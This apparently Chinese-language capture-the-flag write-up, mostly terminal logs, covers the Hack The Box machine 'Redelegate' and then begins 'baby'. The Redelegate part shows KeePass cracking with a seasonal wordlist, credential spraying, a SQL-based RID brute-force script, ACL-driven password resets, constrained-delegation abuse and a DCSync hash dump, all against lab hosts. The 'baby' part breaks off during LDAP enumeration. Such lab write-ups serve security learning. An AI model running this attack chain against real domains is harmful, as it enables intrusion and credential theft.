LDAP        10.129.234.50   389    DC               [-] Error in searchRequest -> operationsError: 000004DC: LdapErr: DSID-0C090DA9, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4f7c

匿名ftp获取到信息，一个kpass数据库和两个txt,注意且binray模式防止文件损毁

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ ftp $ip
Connected to 10.129.234.50.
220 Microsoft FTP Service
Name (10.129.234.50:wackymaker): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
229 Entering Extended Passive Mode (|||59635|)
125 Data connection already open; Transfer starting.
10-20-24  01:11AM                  434 CyberAudit.txt
10-20-24  05:14AM                 2622 Shared.kdbx
10-20-24  01:26AM                  580 TrainingAgenda.txt
226 Transfer complete.
ftp> binary
200 Type set to I.
ftp> get CyberAudit.txt
local: CyberAudit.txt remote: CyberAudit.txt
229 Entering Extended Passive Mode (|||59637|)
125 Data connection already open; Transfer starting.
100% |***************************************************|   434        4.57 KiB/s    00:00 ETA
226 Transfer complete.
434 bytes received in 00:00 (4.38 KiB/s)
ftp> get Shared.kdbx
local: Shared.kdbx remote: Shared.kdbx
229 Entering Extended Passive Mode (|||59638|)
125 Data connection already open; Transfer starting.
100% |***************************************************|  2622       32.19 KiB/s    00:00 ETA
226 Transfer complete.
2622 bytes received in 00:00 (30.81 KiB/s)
ftp> get TrainingAgenda.txt
local: TrainingAgenda.txt remote: TrainingAgenda.txt
229 Entering Extended Passive Mode (|||59639|)
125 Data connection already open; Transfer starting.
100% |***************************************************|   580        7.13 KiB/s    00:00 ETA
226 Transfer complete.
580 bytes received in 00:00 (6.75 KiB/s)
ftp> exit
221 Goodbye.

还有两篇txt翻译如下

OCTOBER 2024 审计结果（翻译）

OCTOBER 2024 审计发现

[!] 网络安全审计发现：

用户密码弱

分配给用户的权限过大

未使用的 Active Directory 对象

危险的 Active Directory ACL（访问控制列表）

[*] 修复步骤：

提示用户更改密码：已完成

检查所有用户的权限并移除高权限：已完成

删除域中未使用的对象：进行中

重新检查 ACL：进行中

员工网络安全意识培训议程（2024 年 10 月）（翻译）

员工网络安全意识培训议程（2024 年 10 月）

2024 年 10 月 4 日 星期五 | 14:30 - 16:30 - 53 名参会者
“别上当”——如何更好地识别钓鱼邮件以及看到可疑邮件时该怎么做

2024 年 10 月 11 日 星期五 | 15:30 - 17:30 - 61 名参会者
“社交媒体及其风险”——你在线发布的内容会怎样被利用？

2024 年 10 月 18 日 星期五 | 11:30 - 13:30 - 7 名参会者
“弱口令”——为什么 SeasonYear! 之类的密码不好

2024 年 10 月 25 日 星期五 | 09:30 - 12:30 - 29 名参会者
“接下来怎么办？”——网络攻击的后果以及如何缓解

鉴于靶机发布时间实际为2024年，我们可以构造弱口令字典

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ cat dic.txt 
Season2024!
Spring2024!
spring2024!
SPRING2024!
Summer2024!
summer2024!
SUMMER2024!
Autumn2024!
autumn2024!
AUTUMN2024!
Fall2024!
fall2024!
FALL2024!
Winter2024!
winter2024!
WINTER2024!
Spr2024!
spr2024!
SPR2024!
Sum2024!
sum2024!
SUM2024!
Aut2024!
aut2024!
AUT2024!
Fal2024!
fal2024!
FAL2024!
Win2024!
win2024!
WIN2024!

欧克，开始解密kpass数据库,注意利用hashcat爆破需要将john转换hash的文件前面的文件名删除，所以你会看到我有一个vim的操作

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ keepass2john Shared.kdbx > keepass.hash

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ cat keepass.hash 
Shared:$keepass$*2*600000*0*ce7395f413946b0cd279501e510cf8a988f39baca623dd86beaee651025662e6*e4f9d51a5df3e5f9ca1019cd57e10d60f85f48228da3f3b4cf1ffee940e20e01*18c45dbbf7d365a13d6714059937ebad*a59af7b75908d7bdf68b6fd929d315ae6bfe77262e53c209869a236da830495f*806f9dd2081c364e66a114ce3adeba60b282fc5e5ee6f324114d38de9b4502ca

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ vim keepass.hash 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ hashcat -m 13400 -a 0 -w 1 keepass.hash dic.txt --force
hashcat (v6.2.6) starting

You have enabled --force to bypass dangerous warnings and errors!
This can hide serious problems and should only be done when debugging.
Do not report hashcat issues encountered when using --force.

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #1: cpu-sandybridge-Intel(R) Core(TM) Ultra 9 185H, 6939/13942 MB (2048 MB allocatable), 8MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 2 MB

Dictionary cache built:
* Filename..: dic.txt
* Passwords.: 31
* Bytes.....: 351
* Keyspace..: 31
* Runtime...: 0 secs

The wordlist or mask that you are using is too small.
This means that hashcat cannot use the full parallel power of your device(s).
Unless you supply more work, your cracking speed will drop.
For tips on supplying more work, see: https://hashcat.net/faq/morework

Approaching final keyspace - workload adjusted.           

$keepass$*2*600000*0*ce7395f413946b0cd279501e510cf8a988f39baca623dd86beaee651025662e6*e4f9d51a5df3e5f9ca1019cd57e10d60f85f48228da3f3b4cf1ffee940e20e01*18c45dbbf7d365a13d6714059937ebad*a59af7b75908d7bdf68b6fd929d315ae6bfe77262e53c209869a236da830495f*806f9dd2081c364e66a114ce3adeba60b282fc5e5ee6f324114d38de9b4502ca:Fall2024!
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13400 (KeePass 1 (AES/Twofish) and KeePass 2 (AES))
Hash.Target......: $keepass$*2*600000*0*ce7395f413946b0cd279501e510cf8...4502ca
Time.Started.....: Sun Sep 21 01:27:53 2025, (3 secs)
Time.Estimated...: Sun Sep 21 01:27:56 2025, (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (dic.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:       11 H/s (0.13ms) @ Accel:128 Loops:64 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 31/31 (100.00%)
Rejected.........: 0/31 (0.00%)
Restore.Point....: 0/31 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:599936-600000
Candidate.Engine.: Device Generator
Candidates.#1....: Season2024! -> WIN2024!
Hardware.Mon.#1..: Util: 33%

Started: Sun Sep 21 01:27:30 2025
Stopped: Sun Sep 21 01:27:57 2025

获得密码后直接打开数据库，查看到信息

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ keepassxc-cli export -f csv Shared.kdbx > output.csv
Enter password to unlock Shared.kdbx: 
KdbxXmlReader::readDatabase: found 1 invalid group reference(s)

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ dir
CyberAudit.txt	hostname      krb5.conf   rust.txt     start.sh
dic.txt		keepass.hash  output.csv  Shared.kdbx  TrainingAgenda.txt

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ cat output.csv 
"Group","Title","Username","Password","URL","Notes","TOTP","Icon","Last Modified","Created"
"Shared/IT","FTP","FTPUser","SguPZBKdRyxWzvXRWy6U","","Deprecated","","0","2024-10-20T07:56:58Z","2024-10-20T07:56:20Z"
"Shared/IT","FS01 Admin","Administrator","Spdv41gg4BlBgSYIW1gF","","","","0","2024-10-20T07:57:21Z","2024-10-20T07:57:02Z"
"Shared/IT","WEB01","WordPress Panel","cn4KOEgsHqvKXPjEnSD9","","","","0","2024-10-20T08:00:25Z","2024-10-20T07:57:24Z"
"Shared/IT","SQL Guest Access","SQLGuest","zDPBpaF4FywlqIv11vii","","","","0","2024-10-20T08:27:09Z","2024-10-20T08:26:48Z"
"Shared/HelpDesk","KeyFob Combination","","22331144","","","","0","2024-10-20T12:12:32Z","2024-10-20T12:12:09Z"
"Shared/Finance","Timesheet Manager","Timesheet","hMFS4I0Kj8Rcd62vqi5X","","","","0","2024-10-20T12:14:18Z","2024-10-20T12:13:30Z"
"Shared/Finance","Payrol App","Payroll","cVkqz4bCM7kJRSNlgx2G","","","","0","2024-10-20T12:14:11Z","2024-10-20T12:13:50Z"

组合字典，爆破一下

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ cat pass 
SguPZBKdRyxWzvXRWy6U
Spdv41gg4BlBgSYIW1gF
cn4KOEgsHqvKXPjEnSD9
zDPBpaF4FywlqIv11vii
22331144
hMFS4I0Kj8Rcd62vqi5X
cVkqz4bCM7kJRSNlgx2G

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ cat users 
FTPUser
Administrator
WordPress_Panel
SQLGuest
Timesheet
Payroll

但是组合爆破起来smb的凭证都没有获得，看到其中有一个sql相关用户，又开了1433口，所以尝试一下数据库登陆

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ nxc mssql $ip -u users -p pass --local-auth
MSSQL       10.129.234.50   1433   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:redelegate.vl)
MSSQL       10.129.234.50   1433   DC               [-] DC\FTPUser:SguPZBKdRyxWzvXRWy6U (Login failed for user 'FTPUser'. Please try again with or without '--local-auth')
MSSQL       10.129.234.50   1433   DC               [-] DC\Administrator:SguPZBKdRyxWzvXRWy6U (Login failed for user 'Administrator'. Please try again with or without '--local-auth')
。。。。。。e try again with or without '--local-auth')
MSSQL       10.129.234.50   1433   DC               [-] DC\WordPress_Panel:zDPBpaF4FywlqIv11vii (Login failed for user 'WordPress_Panel'. Please try again with or without '--local-auth')
MSSQL       10.129.234.50   1433   DC               [+] DC\SQLGuest:zDPBpaF4FywlqIv11vii

成功获得数据库凭证,但是连接后权限极低，没有xpcmdxp_dirtree等权限，也不可能存在连接数据库，数据库当中也没有有意思的提权

数据库rid爆破

这篇文章引导我到了sql数据库来rid爆破枚举

可以照文章搞定

SQL (SQLGuest  guest@master)> select default_domain()
             
----------   
REDELEGATE   

SQL (SQLGuest  guest@master)> select sys.fn_varbintohexstr(SUSER_SID('REDELEGATE\Administrator'))
                                                             
----------------------------------------------------------   
0x010500000000000515000000a185deefb22433798d8e847af4010000   

SQL (SQLGuest  guest@master)>

找个脚本吧,就用0xdf写的，他的东西一向好用

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ ./1.sh 
1002: REDELEGATE\DC$   
1000: REDELEGATE\SQLServer2005SQLBrowserUser$WIN-Q13O908QBPG   
1103: REDELEGATE\FS01$   
1104: REDELEGATE\Christine.Flanders   
1105: REDELEGATE\Marie.Curie   
1106: REDELEGATE\Helen.Frost   
1108: REDELEGATE\Mallory.Roberts   
1107: REDELEGATE\Michael.Pontiac   
1109: REDELEGATE\James.Dinkleberg   
1113: REDELEGATE\IT   
1112: REDELEGATE\Helpdesk   
1119: REDELEGATE\sql_svc   
1117: REDELEGATE\Ryan.Cooper   
1114: REDELEGATE\Finance   
1115: REDELEGATE\DnsAdmins   
1116: REDELEGATE\DnsUpdateProxy   

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ cat 1.sh 
#!/bin/bash

check_rid() {
    SID_BASE="010500000000000515000000a185deefb22433798d8e847a"
    local RID=$1
    local HEX_RID=$(python -c "import struct; print(struct.pack('<I', ${RID}).hex())")
    local SID="${SID_BASE}${HEX_RID}"
    local RES=$(impacket-mssqlclient SQLGuest:zDPBpaF4FywlqIv11vii@10.129.234.50 -file <( echo "select SUSER_SNAME(0x${SID});") 2>&1 | sed -n '/^----/{n;p;}')

    if [[ "$(echo "$RES" | xargs)" != "NULL" ]]; then echo "${RID}: ${RES}"; fi
}

export -f check_rid 
seq 1000 1500 | xargs -P 48 -I{} bash -c 'check_rid $@' _ {}

我会将这个功能兼并到血缇之书当中

测试凭证复用后获得域用户

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ nxc smb $ip -u users2 -p dic.txt --continue-on-success
SMB         10.129.234.50   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domin:redelegate.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.234.50   445    DC               [-] redelegate.vl\DC$:Fall2024! SessionError
SMB         10.129.234.50   445    DC               [-] redelegate.vl\SQLServer2005SQLBrowserUser$WIN-Q13O908QBPG:Fall2024! SessionError
SMB         10.129.234.50   445    DC               [-] redelegate.vl\FS01$:Fall2024! SessionError
SMB         10.129.234.50   445    DC               [-] redelegate.vl\Christine.Flanders:Fall2024! SessionError
SMB         10.129.234.50   445    DC               [+] redelegate.vl\Marie.Curie:Fall2024! 
SMB         10.129.234.50   445    DC               [-] redelegate.vl\Helen.Frost:Fall2024! SessionError
SMB         10.129.234.50   445    DC               [-] redelegate.vl\Mallory.Roberts:Fall2024! SessionError
SMB         10.129.234.50   445    DC               [-] redelegate.vl\Michael.Pontiac:Fall2024! SessionError
SMB         10.129.234.50   445    DC               [-] redelegate.vl\James.Dinkleberg:Fall2024! SessionError
SMB         10.129.234.50   445    DC               [-] redelegate.vl\IT:Fall2024! SessionError 
SMB         10.129.234.50   445    DC               [-] redelegate.vl\Helpdesk:Fall2024! SessionError

没有winrm权限只能抓猎犬了

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ echo user1=Marie.Curie>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ echo pass1='Fall2024!'>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ . start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ nxc smb $ip -u $user1 -p $pass1
SMB         10.129.234.50   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domin:redelegate.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.234.50   445    DC               [+] redelegate.vl\Marie.Curie:Fall2024! 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ nxc winrm $ip -u $user1 -p $pass1
WINRM       10.129.234.50   5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:redelegate.vl)
WINRM       10.129.234.50   5985   DC               [-] redelegate.vl\Marie.Curie:Fall2024!

猎犬能清晰的看到我们当前获得的用户允许修改6个用户的密码

我一个一个顺着acl看下去发现只有HELEN.FROST是值得控制的

它的组可以对fs0l有完全控制权

并且这个用户同时存在在远程管理组当中，虽然给我们一台机器的完全掌控是什么意思我还不确定，我们先登陆再说

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ nxc smb $ip -u $user1 -p $pass1 -M change-password -o USER=HELEN.FROST NEWPASS=wackyMAKER1!
/home/wackymaker/.local/share/pipx/venvs/netexec/lib/python3.13/site-packages/masky/lib/smb.py:6: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  from pkg_resources import resource_filename
SMB         10.129.234.50   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domin:redelegate.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.234.50   445    DC               [+] redelegate.vl\Marie.Curie:Fall2024! 
CHANGE-P... 10.129.234.50   445    DC               [+] Successfully changed password for HELEN.FROST

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ nxc smb $ip -u $user1 -p $pass1 -M change-password -o USER=HELEN.FROST NEWPASS=wackyMAKER1^C

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ echo user2=HELEN.FROST>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ echo pass2='wackyMAKER1!'>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ . start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ nxc winrm $ip -u $user2 -p $pass2
WINRM       10.129.234.50   5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:redelegate.vl)
WINRM       10.129.234.50   5985   DC               [+] redelegate.vl\HELEN.FROST:wackyMAKER1! (Pwn3d!)

登陆后获得user.txt

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ evil-winrm-py -i $ip -u $user1 -p $pass2
          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.4.1

[*] Connecting to '10.129.234.50:5985' as 'Marie.Curie'
[-] Failed to authenticate the user Marie.Curie with ntlm

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ evil-winrm-py -i $ip -u $user2 -p $pass2
          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.4.1

[*] Connecting to '10.129.234.50:5985' as 'HELEN.FROST'
evil-winrm-py PS C:\Users\Helen.Frost\Documents> cd ,,.
At line:1 char:4
+ cd ,,.
+    ~
Missing argument in parameter list.

At line:1 char:5
+ cd ,,.
+     ~
Missing argument in parameter list.
evil-winrm-py PS C:\Users\Helen.Frost\Documents> cd ../
evil-winrm-py PS C:\Users\Helen.Frost> cd Desktop
evil-winrm-py PS C:\Users\Helen.Frost\Desktop> dir


    Directory: C:\Users\Helen.Frost\Desktop


Mode                 LastWriteTime         Length Name                                                                  
----                 -------------         ------ ----                                                                  
-ar---         9/20/2025  10:06 PM             34 user.txt                                                              


evil-winrm-py PS C:\Users\Helen.Frost\Desktop> type user.txt
5db9ac9e78434e1c6bc501a39c0bb3c2

提权

查看特权

evil-winrm-py PS C:\Users\Helen.Frost\Desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                                                    State  
============================= ============================================================== =======
SeMachineAccountPrivilege     Add workstations to domain                                     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                                       Enabled
SeEnableDelegationPrivilege   Enable computer and user accounts to be trusted for delegation Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set                                 Enabled
evil-winrm-py PS C:\Users\Helen.Frost\Desktop>

存在SeEnableDelegationPrivilege特权，允许设置委派

但是当前用户创建机器权限是没有的

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ nxc ldap $ip -u $user1 -p $pass1 -M maq
/home/wackymaker/.local/share/pipx/venvs/netexec/lib/python3.13/site-packages/masky/lib/smb.py:6: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  from pkg_resources import resource_filename
LDAP        10.129.234.50   389    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:redelegate.vl) (signing:None) (channel binding:No TLS cert) 
LDAP        10.129.234.50   389    DC               [+] redelegate.vl\Marie.Curie:Fall2024! 
MAQ         10.129.234.50   389    DC               [*] Getting the MachineAccountQuota
MAQ         10.129.234.50   389    DC               MachineAccountQuota: 0

没法创建机器用户和dns，放弃无约束委派，配置一个针对dc的约束委派

evil-winrm-py PS C:\Users\Helen.Frost\Desktop> Set-ADAccountControl -Identity "FS01$" -TrustedToAuthForDelegation $
True
evil-winrm-py PS C:\Users\Helen.Frost\Desktop> Set-ADObject -Identity "CN=FS01,CN=COMPUTERS,DC=REDELEGATE,DC=VL" -A
dd @{"msDS-AllowedToDelegateTo"="ldap/dc.redelegate.vl"}

直接打一个约束委派，先把fs01改密码

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ nxc smb $ip -u $user2 -p $pass2 -M change-password -o USER='FS01$' NEWPASS=wackyMAKER1!
/home/wackymaker/.local/share/pipx/venvs/netexec/lib/python3.13/site-packages/masky/lib/smb.py:6: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  from pkg_resources import resource_filename
SMB         10.129.234.50   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domin:redelegate.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.234.50   445    DC               [+] redelegate.vl\HELEN.FROST:wackyMAKER1! 
CHANGE-P... 10.129.234.50   445    DC               [+] Successfully changed password for FS01$

之后直接委派，委派dc

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ nxc smb $ip -u $user2 -p $pass2 -M change-password -o USER='FS01$' NEWPASS=wackyMAKER1!
/home/wackymaker/.local/share/pipx/venvs/netexec/lib/python3.13/site-packages/masky/lib/smb.py:6: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  from pkg_resources import resource_filename
SMB         10.129.234.50   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domin:redelegate.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.234.50   445    DC               [+] redelegate.vl\HELEN.FROST:wackyMAKER1! 
CHANGE-P... 10.129.234.50   445    DC               [+] Successfully changed password for FS01$

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ echo user3='FS01$'>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ echo pass3='wackyMAKER1!'>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ . start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ nxc smb $ip -u $user3 -p $pass3
SMB         10.129.234.50   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domin:redelegate.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.234.50   445    DC               [+] redelegate.vl\FS01$:wackyMAKER1! 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ sudo ntpdate $ip
2025-09-21 02:49:26.412852 (-0400) +0.124303 +/- 0.039395 10.129.234.50 s1 no-leap

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ impacket-getTGT $domain/$user3:$pass3 -dc-ip $ip
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in FS01$.ccache

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ export KRB5CCNAME=FS01\$.ccache 


┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ impacket-getST -spn ldap/dc.redelegate.vl -impersonate dc $domain/$user3 -k -no-pass -dc-ip $ip
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Impersonating dc
/usr/share/doc/python3-impacket/examples/getST.py:380: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow()
/usr/share/doc/python3-impacket/examples/getST.py:477: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[*] Requesting S4U2self
/usr/share/doc/python3-impacket/examples/getST.py:607: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow()
/usr/share/doc/python3-impacket/examples/getST.py:659: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[*] Requesting S4U2Proxy
[*] Saving ticket in dc@ldap_dc.redelegate.vl@REDELEGATE.VL.ccache

直接dcsync

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ KRB5CCNAME=dc@ldap_dc.redelegate.vl@REDELEGATE.VL.ccache nxc smb $ip --use-kcache --ntds --user Administrator
SMB         10.129.234.50   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domin:redelegate.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.234.50   445    DC               [+] redelegate.vl\dc from ccache 
SMB         10.129.234.50   445    DC               [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
SMB         10.129.234.50   445    DC               [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         10.129.234.50   445    DC               Administrator:500:aad3b435b51404eeaad3b435b51404ee:ec17f7a2a4d96e177bfd101b94ffc0a7:::
SMB         10.129.234.50   445    DC               [+] Dumped 1 NTDS hashes to /home/wackymaker/.nxc/logs/ntds/10.129.234.50_None_2025-09-21_025253.ntds of which 1 were added to the database
SMB         10.129.234.50   445    DC               [*] To extract only enabled accounts from the output file, run the following command:
SMB         10.129.234.50   445    DC               [*] cat /home/wackymaker/.nxc/logs/ntds/10.129.234.50_None_2025-09-21_025253.ntds | grep -iv disabled | cut -d ':' -f1
SMB         10.129.234.50   445    DC               [*] grep -iv disabled /home/wackymaker/.nxc/logs/ntds/10.129.234.50_None_2025-09-21_025253.ntds | cut -d ':' -f1

利用hash登陆后获得管理权限，到此结束

baby-wp

Fri, 19 Sep 2025 11:54:55 +0800

前期信息

扫描出来是纯正的域控

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/baby]
└─$ .----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Nmap? More like slowmap.🐢

[~] The config file is expected to be at "/home/wackymaker/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.129.234.71:53
Open 10.129.234.71:88
Open 10.129.234.71:135
Open 10.129.234.71:139
Open 10.129.234.71:389
Open 10.129.234.71:464
Open 10.129.234.71:445
Open 10.129.234.71:593
Open 10.129.234.71:636
Open 10.129.234.71:3268
Open 10.129.234.71:3269
Open 10.129.234.71:3389
Open 10.129.234.71:5985
Open 10.129.234.71:9389

基本信息

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/baby]
└─$ cat start.sh 
ip=10.129.234.71
domain=baby.vl
FQDN=BABYDC.baby.vl

入口

查询过了没有smb匿名和rpc匿名，在爆破用户前我需要先查看一下ldap，发现存在匿名

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/baby]
└─$ nxc ldap $ip -u "" -p ""
LDAP        10.129.234.71   389    BABYDC           [*] Windows Server 2022 Build 20348 (name:BABYDC) (domain:baby.vl) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.234.71   389    BABYDC           [+] baby.vl\: 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/baby]
└─$ ldapsearch -x -H ldap://$ip -b "" -s base
# extended LDIF
#
# LDAPv3
# base <> with scope baseObject
# filter: (objectclass=*)
# requesting: ALL
#

#
dn:
domainFunctionality: 7
forestFunctionality: 7
domainControllerFunctionality: 7
rootDomainNamingContext: DC=baby,DC=vl
ldapServiceName: baby.vl:babydc$@BABY.VL
isGlobalCatalogReady: TRUE
supportedSASLMechanisms: GSSAPI
supportedSASLMechanisms: GSS-SPNEGO
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 3
supportedLDAPVersion: 2
supportedLDAPPolicies: MaxPoolThreads
supportedLDAPPolicies: MaxPercentDirSyncRequests
supportedLDAPPolicies: MaxDatagramRecv
supportedLDAPPolicies: MaxReceiveBuffer
supportedLDAPPolicies: MaxPreAuthReceiveBuffer
supportedLDAPPolicies: InitRecvTimeout
supportedLDAPPolicies: MaxConnections
supportedLDAPPolicies: MaxConnIdleTime
supportedLDAPPolicies: MaxPageSize
supportedLDAPPolicies: MaxBatchReturnMessages
supportedLDAPPolicies: MaxQueryDuration
supportedLDAPPolicies: MaxDirSyncDuration
supportedLDAPPolicies: MaxTempTableSize
supportedLDAPPolicies: MaxResultSetSize
supportedLDAPPolicies: MinResultSets
supportedLDAPPolicies: MaxResultSetsPerConn
supportedLDAPPolicies: MaxNotificationPerConn
supportedLDAPPolicies: MaxValRange
supportedLDAPPolicies: MaxValRangeTransitive
